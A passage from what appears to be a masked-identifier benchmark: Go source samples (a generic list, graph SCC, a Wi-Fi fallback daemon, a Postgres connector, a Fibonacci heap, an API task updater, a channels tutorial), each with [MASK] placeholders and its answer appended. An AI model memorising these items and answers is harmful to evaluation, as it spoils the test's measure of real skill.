""github.com/kianooshaz/ds/types"" ) type List[T comparable] struct { elements []T } const ( growthFactor = float64(2.0) shrinkFactor = float64(.25) ) func (list *List[T]) Add(values ...T) { l := len(list.elements) list.growBy(len(values)) for i := range values { list.elements[l+i] = values[i] } } func (list *List[T]) Get(index int) (T, bool) { if !list.withinRange(index) { var t T return t, false } return list.elements[index], true } func (list *List[T]) Remove(index int) { if !list.withinRange(index) { return } list.elements = slices.Delete(list.elements, index, index+1) list.shrink() } func (list *List[T]) Contains(values ...T) bool { for _, v := range values { if !slices.Contains(list.elements, v) { return false } } return true } func (list *List[T]) Values() []T { return slices.Clone(list.elements) } func (list *List[T]) IndexOf(value T) int { return slices.Index(list.elements, value) } func (list *List[T]) Empty() bool { return len(list.elements) == 0 } func (list *List[T]) Size() int { return len(list.elements) } func (list *List[T]) Clear() { clear(list.elements[:cap(list.elements)]) list.elements = list.elements[:0] } func (list *List[T]) Sort( [MASK] types.Comparator[T]) { if len(list.elements) < 2 { return } slices.SortFunc(list.elements, [MASK] ) } func (list *List[T]) Swap(i, j int) { if list.withinRange(i) && list.withinRange(j) { list.elements[i], list.elements[j] = list.elements[j], list.elements[i] } } func (list *List[T]) Insert(index int, values ...T) { if !list.withinRange(index) { if index == len(list.elements) { list.Add(values...) } return } l := len(list.elements) list.growBy(len(values)) list.elements = slices.Insert(list.elements[:l], index, values...) } func (list *List[T]) Set(index int, value T) { if !list.withinRange(index) { if index == len(list.elements) { list.Add(value) } return } list.elements[index] = value } func (list *List[T]) String() string { str := ""ArrayList\n"" values := make([]string, 0,len(list.elements)) for _, value := range list.elements { values = append(values, fmt.Sprintf(""%v"", value)) } str += strings.Join(values, "", "") return str } func (list *List[T]) growBy(n int) { currentCapacity := cap(list.elements) if newLength := len(list.elements) + n; newLength >= currentCapacity { newCapacity := int(growthFactor * float64(newLength)) list.resize(newLength, newCapacity) } else { list.elements = list.elements[:newLength] } } func (list *List[T]) withinRange(index int) bool { return index >= 0 && index < len(list.elements) } func (list *List[T]) resize(length, capacity int) { newElements := make([]T, length, capacity) copy(newElements, list.elements) list.elements = newElements } func (list *List[T]) shrink() { if shrinkFactor == 0.0 { return } currentCapacity := cap(list.elements) if len(list.elements) <= int(float64(currentCapacity)*shrinkFactor) { list.resize(len(list.elements), len(list.elements)) } } ",cmp 503,"package graph func (g *Graph) dfs(n *Node, fin *[]*Node) { n.explored = true for _, n2 := range n.Edges { if !n2.explored { g.dfs(n2, fin) } } *fin = append(*fin, n) } func (g *Graph) scc(n *Node) (SCC []*Node) { n.explored = true for _, n2 := range n.Edges { if !n2.explored { SCC = append(SCC, g.scc(n2)...) } } return append(SCC, n) } func (g *Graph) Components() (components [][]*Node) { [MASK] := make([]*Node, 0, len(g.Nodes)) for _, node := range g.Nodes { if !node.explored { g.dfs(node, & [MASK] ) } } g.Transpose() for i := len( [MASK] ) - 1; 0 <= i; i-- { node := [MASK] [i] if !node.explored { components = append(components, g.scc(node)) } } return } func (g *Graph) Transpose() { for _, node := range g.Nodes { node.explored = false // reset state node.Edges, node.inbound = node.inbound, node.Edges } } ",finOrd 504,"package main import ( ""context"" ""crypto/sha256"" ""encoding/hex"" ""errors"" ""fmt"" ""io"" ""io/fs"" ""net"" ""net/http"" ""os"" ""path/filepath"" ""strings"" ""time"" ""github.com/nergy-se/wificonfig/pkg/ap"" ""github.com/nergy-se/wificonfig/pkg/commands"" ""github.com/nergy-se/wificonfig/pkg/webserver"" ""github.com/sirupsen/logrus"" ""github.com/urfave/cli/v2"" ) type App struct { webserver *webserver.Webserver ap *ap.Ap AliveURL string EthernetInterfaceName string Interval time.Duration IP string wpaSupplicantConfigFile string apssid string appsk string wiredStaticConfigLocation string } func NewApp(c *cli.Context, ws *webserver.Webserver, ap *ap.Ap) *App { return &App{ webserver: ws, ap: ap, AliveURL: c.String(""alive-url""), Interval: c.Duration(""check-interval""), EthernetInterfaceName: c.String(""ethernet-interface""), IP: c.String(""ap-ip""), apssid: c.String(""ap-ssid""), appsk: c.String(""ap-psk""), wpaSupplicantConfigFile: c.String(""wpa-supplicant-config""), wiredStaticConfigLocation: c.String(""wired-static-config-location""), } } func (a *App) Start(ctx context.Context) error { if a.apssid == """" { return fmt.Errorf(""missing config ap-ssid"") } if a.appsk == """" { return fmt.Errorf(""missing config ap-psk"") } err := a.ensureWpaConfig() if err != nil { return err } go a.tickerLoop(ctx, a.Interval) a.webserver.Start(ctx) return nil } func (a *App) ensureWpaConfig() error { _, err := os.Stat(a.wpaSupplicantConfigFile) if err == nil { return nil } if errors.Is(err, os.ErrNotExist) { f, err := os.OpenFile(a.wpaSupplicantConfigFile, os.O_RDWR|os.O_CREATE|os.O_TRUNC, 0600) if err != nil { return err } _, err = io.WriteString(f, fmt.Sprintf(`ctrl_interface=/var/run/wpa_supplicant ctrl_interface_group=0 update_config=1 country=SE ap_scan=1 network={ ssid=""%s"" psk=""%s"" key_mgmt=WPA-PSK mode=2 frequency=2437 } `, a.apssid, a.appsk)) return err } return nil } func (a *App) tickerLoop(ctx context.Context, d time.Duration) { ticker := time.NewTicker(d) logrus.Infof(""Config OK. starting check loop for %s"", d) err := a.reconcile(ctx) if err != nil { logrus.Error(err) } for { select { case <-ticker.C: err := a.reconcile(ctx) if err != nil { logrus.Error(err) } case <-ctx.Done(): ticker.Stop() return } } } func (a *App) syncStaticConfigIfNeeded() error { if strings.HasPrefix(a.wiredStaticConfigLocation, ""/etc/systemd/network"") { return nil // we already have config in correct location no need to sync it to /etc/systemd/network } dstFn := filepath.Join(""/etc/systemd/network"", filepath.Base(a.wiredStaticConfigLocation)) srcHash, err := hash(a.wiredStaticConfigLocation) if err != nil { if errors.Is(err, fs.ErrNotExist) { // if the config files does not exist we should remove the destination err := os.Remove(dstFn) if err != nil { if errors.Is(err, fs.ErrNotExist) { return nil // file is already removed } return err } _, err = commands.Run(""networkctl"", ""reload"") return err } return err } dstHash, err := hash(dstFn) if err != nil && !errors.Is(err, fs.ErrNotExist) { return err } if dstHash == srcHash { return nil // nothing to do files are the same. } srcFile, err := os.Open(a.wiredStaticConfigLocation) if err != nil { return err } defer srcFile.Close() dstFile, err := os.OpenFile(dstFn, os.O_RDWR|os.O_CREATE|os.O_TRUNC, 0644) if err != nil { return err } defer dstFile.Close() _, err = io.Copy(dstFile, srcFile) if err != nil { return err } _, err = commands.Run(""networkctl"", ""reload"") return err } func (a *App) reconcile(ctx context.Context) error { alive, err := a.checkAlive() if err != nil { logrus.Error(fmt.Errorf(""error checking alive: %w"", err)) } err = a.syncStaticConfigIfNeeded() if err != nil { logrus.Warn(err) } [MASK] , _, err := GetActiveInterface() if err != nil { return err } if alive && [MASK] != nil && [MASK] .Name == a.EthernetInterfaceName { // ethernet connected and alive err := a.ap.StopDnsmasq() if err != nil { return err } err = a.ap.StopWpaSupplicant() if err != nil { return err } return nil } // no ethernet connection detected so lets make sure wpa_supplicant is running err = a.ap.StartWpaSupplicant(ctx) if err != nil { return err } isConnectedWifi, err := a.ap.WpaConnectedToWifi() if err != nil { return err } if isConnectedWifi { // we are connectd to wifi station. err := a.ap.StopDnsmasq() if err != nil { return err } if int, _, err := InterfaceHasIP(net.ParseIP(a.IP)); int != nil && err == nil && int.Name == ""wlan0"" { // if we have our AP ip lets restart the network to get DHCP. _, err = commands.Run(""networkctl"", ""reconfigure"", ""wlan0"") return err } return nil } // no wifi or ethernet lets be AP and DHCP isAP, err := a.ap.WpaIsAp() if err != nil { return err } if isAP { err = a.ap.StartDnsmasq(ctx) if err != nil { return err } _, err = commands.Run(""ifconfig"", ""wlan0"", a.IP) return err } return nil } func GetActiveInterface() (*net.Interface, net.IP, error) { outboundIP, err := GetOutboundIP() if err != nil { return nil, nil, nil // we ignore if we get for example connect: network is unreachable } return InterfaceHasIP(outboundIP) } func InterfaceHasIP(expectedIP net.IP) (*net.Interface, net.IP, error) { interfaces, err := net.Interfaces() if err != nil { return nil, nil, err } for _, i := range interfaces { addrs, err := i.Addrs() if err != nil { return nil, nil, err } for _, a := range addrs { ip, _, err := net.ParseCIDR(a.String()) if err != nil { return nil, nil, err } if ip.Equal(expectedIP) { return &i, ip, nil } } } return nil, nil, fmt.Errorf(""found no interface"") } func GetOutboundIP() (net.IP, error) { conn, err := net.Dial(""udp"", ""8.8.8.8:80"") if err != nil { return nil, err } defer conn.Close() localAddr := conn.LocalAddr().(*net.UDPAddr) return localAddr.IP, nil } var aliveClient = &http.Client{ Timeout: time.Second * 10, } func (a *App) checkAlive() (bool, error) { r, err := aliveClient.Get(a.AliveURL) if err != nil { return false, err } return r.StatusCode == 200, nil } func hash(r string) (string, error) { h := sha256.New() f, err := os.Open(r) if err != nil { return """", err } defer f.Close() if _, err := io.Copy(h, f); err != nil { return """", err } sum := hex.EncodeToString(h.Sum(nil)) return sum, nil } ",activeInt 505,"package datastore import ( ""database/sql"" ""errors"" ""fmt"" ""github.com/golang-migrate/migrate/v4"" ""github.com/golang-migrate/migrate/v4/database/postgres"" _ ""github.com/golang-migrate/migrate/v4/source/file"" ""github.com/i-akbarshoh/task-manager/pkg/config"" _ ""github.com/lib/pq"" ""os"" ) func NewDB() *sql.DB { [MASK] := ""postgres"" db, err := sql.Open( [MASK] , fmt.Sprintf(""host=%s port=%s user=%s password=%s dbname=%s sslmode=disable"", config.C.Database.Host, config.C.Database.Port, config.C.Database.User, config.C.Database.Password, config.C.Database.DBName, )) if err != nil { fmt.Println(err) os.Exit(1) } if err := db.Ping(); err != nil { fmt.Println(err) os.Exit(1) } // migrate migrateUp(db) return db } func migrateUp(db *sql.DB) { driver, err := postgres.WithInstance(db, &postgres.Config{}) if err != nil { fmt.Println(err) os.Exit(1) } m, err := migrate.NewWithDatabaseInstance( ""file://database/migrations"", config.C.Database.DBName, driver) if err != nil { fmt.Println(err) os.Exit(1) } if err := m.Up(); err != nil && !errors.Is(err, migrate.ErrNoChange) { fmt.Println(err) os.Exit(1) } } ",DBMS 506,"// Package fibonacci by TimTheSinner package fibonacci import ( ""bytes"" ""fmt"" ""strconv"" ) var fibonacciNumbers = [...]int{ 2, 3, 5, 8, 13, 21, 34, 55, 89, 144, 233, 377, 610, 987, 1597, 2584, 4181, 6765, 10946, 17711, 28657, 46368, 75025, 121393, 196418, 317811, 514229, 832040, 1346269, 2178309, 3524578, 5702887, 9227465, 14930352, 24157817, 39088169, 63245986, 102334155, 165580141, 267914296, 433494437, 701408733, 1134903170, 1836311903} var skipConsolidation = [...]int{ 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 89, 89, 89, 89, 89, 89, 89, 89, 89, 89, 89, 89, 114, 114, 114, 114, 233, 233, 233, 233, 233, 233, 233, 233, 233, 233, } //HeapNode heap storage node type HeapNode struct { value int marked bool degree int child *HeapNode left *HeapNode right *HeapNode } func (h *HeapNode) String() string { return fmt.Sprintf(""Node[Degree:%d Value:%v, Marked:%t]"", h.degree, h.value, h.marked) } //Heap fibonacci heap type Heap struct { Compare func(int, int) int fiboIndex int fiboTarget int oldFiboTarget int size int roots int minimum *HeapNode degrees []*HeapNode } //NewHeap create a new FibonacciHeap func NewHeap(comp func(int, int) int) *Heap { return &Heap{Compare: comp, size: 0, roots: 0, fiboIndex: 0, fiboTarget: fibonacciNumbers[0], oldFiboTarget: fibonacciNumbers[0], degrees: make([]*HeapNode, 8)} } //Size the size of the heap func (h *Heap) Size() int { return h.size } func (h *Heap) String() string { if h.size == 0 { return ""Heap[Size:0]"" } buff := bytes.NewBufferString(""Heap[Size:"" + strconv.Itoa(h.size) + ""\n"") printNode(h.minimum, 1, buff) buff.WriteString(""]"") return buff.String() } func printNode(current *HeapNode, tabs int, buff *bytes.Buffer) { for i := 0; i < tabs; i++ { buff.WriteString(""\t"") } buff.WriteString(current.String()) buff.WriteString(""\n"") if current.child != nil { printNode(current.child, tabs+1, buff) } for next := current.right; next != current; next = next.right { for i := 0; i < tabs; i++ { buff.WriteString(""\t"") } buff.WriteString(next.String()) buff.WriteString(""\n"") if next.child != nil { printNode(next.child, tabs+1, buff) } } } func (h *Heap) peek() interface{} { if h.minimum != nil { return h.minimum.value } return nil } //Insert an object into the heap func (h *Heap) Insert(v int) { h.size++ h.roots++ node := &HeapNode{value: v} minimum := h.minimum if minimum != nil { node.left = minimum node.right = minimum.right minimum.right = node node.right.left = node if h.Compare(node.value, minimum.value) < 0 { h.minimum = node } } else { h.minimum = node node.left = node node.right = node } if h.size == h.fiboTarget { h.oldFiboTarget = h.fiboTarget h.fiboIndex++ h.fiboTarget = fibonacciNumbers[h.fiboIndex] h.consolidate() } } //Consolidate the heap func (h *Heap) Consolidate() { h.consolidate() } func (h *Heap) consolidate() { var current, same *HeapNode iter := h.minimum roots := h.roots degrees := h.degrees if len(degrees) <= h.fiboIndex+1 { degrees = make([]*HeapNode, h.fiboIndex+1) h.degrees = degrees } for i := 0; i < roots; i++ { current = iter iter = iter.right if degrees[current.degree] == nil { degrees[current.degree] = current } else { for degree := current.degree; degrees[degree] != nil; degree = current.degree { h.roots-- same = degrees[degree] if h.Compare(same.value, current.value) > 0 { merge(current, same) if h.minimum == same { h.minimum = current } } else { merge(same, current) if h.minimum == current { h.minimum = same } current = same } degrees[degree] = nil } degrees[current.degree] = current } } current = h.minimum iter = current.right for i := 0; i < h.roots; i++ { degrees[iter.degree] = nil if h.Compare(iter.value, current.value) < 0 { current = iter } iter = iter.right } h.minimum = current } func merge( [MASK] , child *HeapNode) { child.right.left = child.left child.left.right = child.right if [MASK] .degree == 0 { [MASK] .child = child child.left = child child.right = child } else { child.left = [MASK] .child child.right = [MASK] .child.right [MASK] .child.right = child child.right.left = child } [MASK] .degree++ } //RemoveMin removes the smallest value in the heap func (h *Heap) RemoveMin() int { oldMin := h.minimum if oldMin != nil { h.size-- h.roots-- if oldMin.degree > 0 { h.roots += oldMin.degree child := oldMin.child if oldMin.right != oldMin { mL := oldMin.left mR := oldMin.right cL := child.left mL.right = child child.left = mL cL.right = mR mR.left = cL } if h.roots <= skipConsolidation[h.fiboIndex] { iter := child.right for i := 0; i < h.roots; i++ { if h.Compare(iter.value, child.value) < 0 { child = iter } iter = iter.right } h.minimum = child } else { h.minimum = child h.consolidate() } } else if oldMin.right == oldMin { h.minimum = nil } else { oldMin.left.right = oldMin.right oldMin.right.left = oldMin.left h.minimum = oldMin.right h.consolidate() } if h.size == h.oldFiboTarget { h.fiboTarget = h.oldFiboTarget if h.fiboIndex > 0 { h.fiboIndex-- } h.oldFiboTarget = fibonacciNumbers[h.fiboIndex] } oldMin.child = nil oldMin.left = nil oldMin.right = nil return oldMin.value } return 0 } ",parent 507,"package controller import ( ""context"" ""encoding/json"" ""errors"" ""fmt"" ""github.com/gin-gonic/gin"" ""github.com/samber/lo"" ""io"" ""net/http"" ""one-api/common"" ""one-api/constant"" ""one-api/dto"" ""one-api/model"" ""one-api/relay"" ""sort"" ""strconv"" ""sync"" ""time"" ) func UpdateTaskBulk() { //revocer //imageModel := ""midjourney"" for { time.Sleep(time.Duration(15) * time.Second) ctx := context.TODO() allTasks := model.GetAllUnFinishSyncTasks(500) platformTask := make(map[constant.TaskPlatform][]*model.Task) for _, t := range allTasks { platformTask[t.Platform] = append(platformTask[t.Platform], t) } for platform, tasks := range platformTask { if len(tasks) == 0 { continue } taskChannelM := make(map[int][]string) taskM := make(map[string]*model.Task) nullTaskIds := make([]int64, 0) for _, task := range tasks { if task.TaskID == """" { // 统计失败的未完成任务 nullTaskIds = append(nullTaskIds, task.ID) continue } taskM[task.TaskID] = task taskChannelM[task.ChannelId] = append(taskChannelM[task.ChannelId], task.TaskID) } if len(nullTaskIds) > 0 { err := model.TaskBulkUpdateByID(nullTaskIds, map[string]any{ ""status"": ""FAILURE"", ""progress"": ""100%"", }) if err != nil { common.LogError(ctx, fmt.Sprintf(""Fix null task_id task error: %v"", err)) } else { common.LogInfo(ctx, fmt.Sprintf(""Fix null task_id task success: %v"", nullTaskIds)) } } if len(taskChannelM) == 0 { continue } UpdateTaskByPlatform(ctx, platform, taskChannelM, taskM) } } } func UpdateTaskByPlatform(ctx context.Context, platform constant.TaskPlatform, taskChannelM map[int][]string, taskM map[string]*model.Task) { var wg sync.WaitGroup switch platform { case constant.TaskPlatformMidjourney: // TODO: Implement concurrent update for Midjourney if needed // _ = UpdateMidjourneyTaskAll(context.Background(), tasks) common.SysLog(""Midjourney task update not implemented for concurrency yet"") case constant.TaskPlatformSuno: for channelId, taskIds := range taskChannelM { wg.Add(1) go func(cid int, tids []string) { defer wg.Done() err := updateSunoTaskAll(ctx, cid, tids, taskM) if err != nil { common.LogError(ctx, fmt.Sprintf(""渠道 #%d 更新Suno异步任务失败: %s"", cid, err.Error())) } }(channelId, taskIds) } default: common.SysLog(fmt.Sprintf(""未知平台: %s"", platform)) } wg.Wait() // Wait for all channel updates to complete } // UpdateSunoTaskAll is deprecated, use UpdateTaskByPlatform with goroutines instead. // func UpdateSunoTaskAll(ctx context.Context, taskChannelM map[int][]string, taskM map[string]*model.Task) error { // for channelId, taskIds := range taskChannelM { // err := updateSunoTaskAll(ctx, channelId, taskIds, taskM) // if err != nil { // common.LogError(ctx, fmt.Sprintf(""渠道 #%d 更新异步任务失败: %s"", channelId, err.Error())) // } // } // return nil // } // Deprecated: Use UpdateTaskByPlatform with goroutines instead. // func UpdateSunoTaskAll(ctx context.Context, taskChannelM map[int][]string, taskM map[string]*model.Task) error { // for channelId, taskIds := range taskChannelM { // err := updateSunoTaskAll(ctx, channelId, taskIds, taskM) // if err != nil { // common.LogError(ctx, fmt.Sprintf(""渠道 #%d 更新异步任务失败: %s"", channelId, err.Error())) // } // } // return nil // } func updateSunoTaskAll(ctx context.Context, channelId int, taskIds []string, taskM map[string]*model.Task) error { common.LogInfo(ctx, fmt.Sprintf(""channel #%d has %d tasks not finished"", channelId, len(taskIds))) if len(taskIds) == 0 { return nil } channel, err := model.CacheGetChannel(channelId) if err != nil { common.SysLog(fmt.Sprintf(""CacheGetChannel: %v"", err)) // 尝试批量更新这些任务为失败状态 failedTaskIds := make([]int64, 0, len(taskIds)) for _, taskIdStr := range taskIds { if task, ok := taskM[taskIdStr]; ok { failedTaskIds = append(failedTaskIds, task.ID) } } updateErr := model.TaskBulkUpdateByID(failedTaskIds, map[string]any{ ""fail_reason"": fmt.Sprintf(""failed to fetch channel info, channel_id: %d"", channelId), ""status"": model.TaskStatusFailure, ""progress"": ""100%"", }) if updateErr != nil { common.SysError(fmt.Sprintf(""UpdateSunoTask error when channel fetch failed: %v"", updateErr)) } return err // 返回原始的获取渠道错误 } adaptor := relay.GetTaskAdaptor(constant.TaskPlatformSuno) if adaptor == nil { return errors.New(""adaptor not found"") } resp, err := adaptor.FetchTask(*channel.BaseURL, channel.Key, map[string]any{ ""ids"": taskIds, }) if err != nil { common.SysError(fmt.Sprintf(""Get Task Do req error: %v"", err)) // 注意:这里不直接返回,因为可能部分任务已经完成,需要继续处理下面的逻辑来更新这些任务的状态 // 但如果连请求都发不出去,可能所有任务都无法更新,可以考虑在这里也批量更新为失败 // return err } // 即使请求失败,也尝试处理可能的响应体(例如超时但部分数据返回) var responseItems dto.TaskResponse[[]dto.SunoDataResponse] if resp != nil { defer resp.Body.Close() if resp.StatusCode != http.StatusOK { common.LogError(ctx, fmt.Sprintf(""Get Task status code: %d"", resp.StatusCode)) // 根据状态码决定是否继续,例如 5xx 错误可能不继续 // return errors.New(fmt.Sprintf(""Get Task status code: %d"", resp.StatusCode)) } responseBody, readErr := io.ReadAll(resp.Body) if readErr != nil { common.SysError(fmt.Sprintf(""Get Task parse body error: %v"", readErr)) // return readErr } else { unmarshalErr := json.Unmarshal(responseBody, &responseItems) if unmarshalErr != nil { common.LogError(ctx, fmt.Sprintf(""Get Task parse body error2: %v, body: %s"", unmarshalErr, string(responseBody))) // return unmarshalErr } if !responseItems.IsSuccess() { common.SysLog(fmt.Sprintf(""渠道 #%d 获取任务状态响应失败: %s"", channelId, string(responseBody))) // 根据业务逻辑决定是否返回错误 } } } // --- 优化后的批量更新逻辑 --- tasksToUpdate := make(map[model.TaskStatus][]map[string]any) // 按状态分组更新 tasksToCompensate := make(map[int]int) // key: userID, value: total quota to compensate [MASK] := make(map[string]bool) // 跟踪已处理的 task_id // 1. 收集所有需要更新的任务信息 if responseItems.Data != nil { for _, responseItem := range responseItems.Data { task, ok := taskM[responseItem.TaskID] if !ok { common.LogWarn(ctx, fmt.Sprintf(""Task %s not found in local map"", responseItem.TaskID)) continue } [MASK] [task.TaskID] = true // 标记为已处理 if !checkTaskNeedUpdate(task, responseItem) { continue } newStatus := model.TaskStatus(responseItem.Status) // 如果状态为空,则保持原状态(可能只是更新时间戳或数据) if newStatus == """" { newStatus = task.Status } updateData := map[string]any{ ""id"": task.ID, // 包含 ID 以便后续更新 ""submit_time"": lo.If(responseItem.SubmitTime != 0, responseItem.SubmitTime).Else(task.SubmitTime), ""start_time"": lo.If(responseItem.StartTime != 0, responseItem.StartTime).Else(task.StartTime), ""finish_time"": lo.If(responseItem.FinishTime != 0, responseItem.FinishTime).Else(task.FinishTime), ""data"": responseItem.Data, // 直接使用新的 data ""status"": newStatus, } if newStatus == model.TaskStatusSuccess { updateData[""progress""] = ""100%"" updateData[""fail_reason""] = """" // 清空失败原因 } else if newStatus == model.TaskStatusFailure || responseItem.FailReason != """" { failReason := lo.If(responseItem.FailReason != """", responseItem.FailReason).Else(""Unknown failure reason"") common.LogInfo(ctx, task.TaskID+"" 构建失败,""+failReason) updateData[""progress""] = ""100%"" updateData[""fail_reason""] = failReason // 记录需要补偿的额度 if task.Quota > 0 { tasksToCompensate[task.UserId] += task.Quota } } else { // 对于 IN_PROGRESS 或其他非最终状态,也记录更新数据 // 如果需要更新进度,可以在这里添加逻辑 // updateData[""progress""] = calculateProgress(...) updateData[""fail_reason""] = lo.If(responseItem.FailReason != """", responseItem.FailReason).Else(task.FailReason) // 保留或更新失败原因 } tasksToUpdate[newStatus] = append(tasksToUpdate[newStatus], updateData) } } // 处理那些请求中包含但API未返回状态的任务 (可能仍在进行中或API侧丢失) // 可以选择将这些任务标记为某种状态,或者暂时不处理,等待下次轮询 // 这里暂时不处理,依赖下次轮询 // 2. 执行数据库更新 (循环单独更新,添加计时) updateCount := 0 updateStartTime := time.Now() common.LogInfo(ctx, fmt.Sprintf(""Starting database updates for channel %d..."", channelId)) for status, updates := range tasksToUpdate { // tasksToUpdate 在此作用域内是可见的 if len(updates) == 0 { continue } // common.LogInfo(ctx, fmt.Sprintf(""Updating %d tasks to status %s"", len(updates), status)) // 日志可能过于频繁,暂时注释 // 循环单独更新 (性能较低,但确保正确性,后续可根据耗时决定是否优化为原生SQL) for _, updateData := range updates { taskId := updateData[""id""].(int64) // 从 updateData 中移除 id,因为它不是 task 表的字段,而是用于 Where 条件 updateFields := make(map[string]any) for k, v := range updateData { if k != ""id"" { updateFields[k] = v } } // 确保至少有字段需要更新 if len(updateFields) > 0 { err := model.DB.Model(&model.Task{}).Where(""id = ?"", taskId).Updates(updateFields).Error if err != nil { common.SysError(fmt.Sprintf(""Error updating task %d to status %s: %v"", taskId, status, err)) // 可以考虑记录失败的 ID 稍后重试 } else { updateCount++ } } else { common.LogWarn(ctx, fmt.Sprintf(""Skipping update for task %d as no fields changed (status: %s)"", taskId, status)) } } } updateDuration := time.Since(updateStartTime) common.LogInfo(ctx, fmt.Sprintf(""Finished updating %d tasks for channel %d in %v"", updateCount, channelId, updateDuration)) // 如果 updateDuration 很大 (例如超过几秒),则提示这里是瓶颈,需要进一步优化 (如原生SQL) if updateDuration > 3*time.Second { // 阈值可调整 common.LogWarn(ctx, fmt.Sprintf(""Database update loop for channel %d took %v, consider optimizing with native SQL or other bulk methods."", channelId, updateDuration)) } // 3. 处理配额补偿 (优化后) compensationStartTime := time.Now() compensationCount := 0 if len(tasksToCompensate) > 0 { common.LogInfo(ctx, fmt.Sprintf(""Processing quota compensation for %d users for channel %d..."", len(tasksToCompensate), channelId)) for userId, totalQuota := range tasksToCompensate { if totalQuota > 0 { // common.LogInfo(ctx, fmt.Sprintf(""Compensating user %d with quota %d"", userId, totalQuota)) // 日志可能过于频繁 increaseErr := model.IncreaseUserQuota(userId, totalQuota, false) // 调用一次 IncreaseUserQuota if increaseErr != nil { common.LogError(ctx, fmt.Sprintf(""fail to increase user quota for user %d: %s"", userId, increaseErr.Error())) } else { compensationCount++ logContent := fmt.Sprintf(""批量处理失败任务,补偿用户 %d 额度 %s"", userId, common.LogQuota(totalQuota)) model.RecordLog(userId, model.LogTypeSystem, logContent) _ = model.InvalidateUserCache(userId) // 调用一次 InvalidateUserCache } } } common.LogInfo(ctx, fmt.Sprintf(""Finished compensating quota for %d users for channel %d in %v"", compensationCount, channelId, time.Since(compensationStartTime))) } // 如果最初的 adaptor.FetchTask 就失败了,在这里返回错误 if err != nil { return fmt.Errorf(""fetch task failed: %w"", err) } return nil } func checkTaskNeedUpdate(oldTask *model.Task, newTask dto.SunoDataResponse) bool { if oldTask.SubmitTime != newTask.SubmitTime { return true } if oldTask.StartTime != newTask.StartTime { return true } if oldTask.FinishTime != newTask.FinishTime { return true } if string(oldTask.Status) != newTask.Status { return true } if oldTask.FailReason != newTask.FailReason { return true } if oldTask.FinishTime != newTask.FinishTime { return true } if (oldTask.Status == model.TaskStatusFailure || oldTask.Status == model.TaskStatusSuccess) && oldTask.Progress != ""100%"" { return true } oldData, _ := json.Marshal(oldTask.Data) newData, _ := json.Marshal(newTask.Data) sort.Slice(oldData, func(i, j int) bool { return oldData[i] < oldData[j] }) sort.Slice(newData, func(i, j int) bool { return newData[i] < newData[j] }) if string(oldData) != string(newData) { return true } return false } func GetAllTask(c *gin.Context) { p, _ := strconv.Atoi(c.Query(""p"")) if p < 0 { p = 0 } startTimestamp, _ := strconv.ParseInt(c.Query(""start_timestamp""), 10, 64) endTimestamp, _ := strconv.ParseInt(c.Query(""end_timestamp""), 10, 64) // 解析其他查询参数 queryParams := model.SyncTaskQueryParams{ Platform: constant.TaskPlatform(c.Query(""platform"")), TaskID: c.Query(""task_id""), Status: c.Query(""status""), Action: c.Query(""action""), StartTimestamp: startTimestamp, EndTimestamp: endTimestamp, } logs := model.TaskGetAllTasks(p*common.ItemsPerPage, common.ItemsPerPage, queryParams) if logs == nil { logs = make([]*model.Task, 0) } c.JSON(200, gin.H{ ""success"": true, ""message"": """", ""data"": logs, }) } func GetUserTask(c *gin.Context) { p, _ := strconv.Atoi(c.Query(""p"")) if p < 0 { p = 0 } userId := c.GetInt(""id"") startTimestamp, _ := strconv.ParseInt(c.Query(""start_timestamp""), 10, 64) endTimestamp, _ := strconv.ParseInt(c.Query(""end_timestamp""), 10, 64) queryParams := model.SyncTaskQueryParams{ Platform: constant.TaskPlatform(c.Query(""platform"")), TaskID: c.Query(""task_id""), Status: c.Query(""status""), Action: c.Query(""action""), StartTimestamp: startTimestamp, EndTimestamp: endTimestamp, } logs := model.TaskGetAllUserTask(userId, p*common.ItemsPerPage, common.ItemsPerPage, queryParams) if logs == nil { logs = make([]*model.Task, 0) } c.JSON(200, gin.H{ ""success"": true, ""message"": """", ""data"": logs, }) } ",processedTaskIDs 508,"package main import ( ""fmt"" ""time"" ) // This is the function we'll run in a goroutine. The done channel will be used to notify another // goroutine that this function's work is done. func worker(done chan bool) { fmt.Println(""working..."") time.Sleep(time.Second) fmt.Println(""done"") done <- true } // This `ping` function only accepts a channel for sending values. It would be a compile-time error // to try to receive on this channel. func ping(pings chan<- string, msg string) { pings <- msg } // This `pong` function accepts one channel for receives (pings) and a second for sends (pongs). func pong(pings <-chan string, pongs chan<- string) { msg := <-pings pongs <- msg } func main() { // Channels are the pipes that connect concurrent goroutines. You can send values into channels // from one goroutine and receive those values into another goroutine. // Create a new channel with `make(chan val-type)`.Channels are typed by the values they convey messages1 := make(chan string) // Send a value into a channel using the `channel <-` syntax. Here we send ""ping"" to the messages // channel we made abvoe, from a new goroutine go func() { messages1 <- ""ping"" }() // The `<-channel` syntax receives a value from the channel. Here we'll receive the ""ping"" message // we sent above and print it out [MASK] := <-messages1 fmt.Println( [MASK] ) // By default sends and receives block until both the sender and receiver are ready. This property // allowed us to wait at the end of our program for the ""ping"" message without having to use any // other synchronization. // By default channels are unbuffered, meaning that they will only accept sends (`chan <-`) if there // is a corresponding receive (`<- chan`) ready to receive the sent value. Buffered channels accept a // limited number of values without a corresponding receivers for those values // Create a channel of strings buffering up to 2 values messages2 := make(chan string, 2) messages2 <- ""buffered"" messages2 <- ""channel"" fmt.Println(<-messages2) fmt.Println(<-messages2) // We can use channels to synchronize execution across goroutine. Here's an example of using a block // receive to wait for a goroutine to finish. // Start a worker goroutine, giving it the channel to notify on done := make(chan bool, 1) go worker(done) // Block until we receive a notification from the worker on the channel. // If you removed the `<-done` line from this program, the program would exit before the `worker` // even started <-done // When using channels as function parameters you can specify if a channel is meant to only send // or receive values. This specificity increases the type-safety of the program. pings := make(chan string, 1) pongs := make(chan string, 1) ping(pings, ""passed message"") pong(pings, pongs) fmt.Println(<-pongs) } ",msg1 509,"package Cron import ( ""fmt"" ""github.com/go-ping/ping"" ""github.com/robfig/cron/v3"" ""machinesearch/app/models"" ""machinesearch/global"" ""machinesearch/utils"" ""time"" ) // Corns /* @yearly (or @annually) 每年1月1日凌晨执行一次 0 0 0 1 1 * @monthly 每个月第一天的凌晨执行一次 0 0 0 1 * * @weekly 每周周六的凌晨执行一次 0 0 0 * * 0 @daily (or @midnight) 每天凌晨0点执行一次 0 0 0 * * * @hourly 每小时执行一次 0 0 * * * * */ var c *cron.Cron var i int func Corns() { //获取除本机外的所有已注册IP var machines []models.MachineMsg global.App.DB.Where(""local_ip != ? "", utils.GetLocalIp().String()).Find(&machines) 